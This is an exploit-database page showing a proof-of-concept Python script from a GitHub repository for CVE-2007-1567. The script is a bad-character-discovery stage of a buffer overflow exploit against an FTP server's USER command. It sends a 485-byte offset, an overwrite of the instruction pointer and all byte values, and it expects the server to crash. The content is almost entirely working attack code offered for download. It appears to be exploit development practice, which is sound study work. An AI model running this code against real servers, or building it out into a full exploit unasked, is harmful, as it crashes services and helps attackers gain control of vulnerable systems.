Exploit database

GH-275232dfe26cef83f026a3f960584c3d

themalwareguardian/cve-2007-1567

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2007-1567

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Vulnerability/Exploit/05Python3FindBadChars.py

Python · 2,229 bytes
#!/usr/bin/env python3
import socket

# Define the target server IP and Port
target_ip = '127.0.0.1'
target_port = 21

# Bad characters. Known bad chars for USER command are \x00, \x0a, \x0d and \x40
# Remove confirmed bad chars progressively as you find them
# bad_chars = bytes(b for b in range(0x00, 0x100) if b not in [0x00, 0x0a, 0x0d, 0x40])
bad_chars = (
	b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"
	b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
	b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F"
	b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F"
	b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F"
	b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F"
	b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F"
	b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F"
	b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F"
	b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F"
	b"\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF"
	b"\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF"
	b"\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF"
	b"\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF"
	b"\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF"
	b"\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"
)

# Offset is 485. We send 485 'A's followed by 'BBBB' to keep EIP control, then the bad characters after ESP.
buffer = b'A' * 485 + b'BBBB' + bad_chars

try:
	# Create a socket object and connect to the server
	print('Exploit> Connect to target')
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)
	s.connect((target_ip, target_port))

	# Receive banner
	s.recv(1024)

	# Send USER command with bad characters
	print(f'Exploit> Sending bad characters ({len(bad_chars)} bytes)')
	s.send(b'USER ' + buffer + b'\r\n')

	# The server is expected to crash
	print('Exploit> The target server is expected to crash.')

except Exception as e:
	# Exception handling
	print(f'An error occurred: {str(e)}')

finally:
	# Close the connection
	s.close()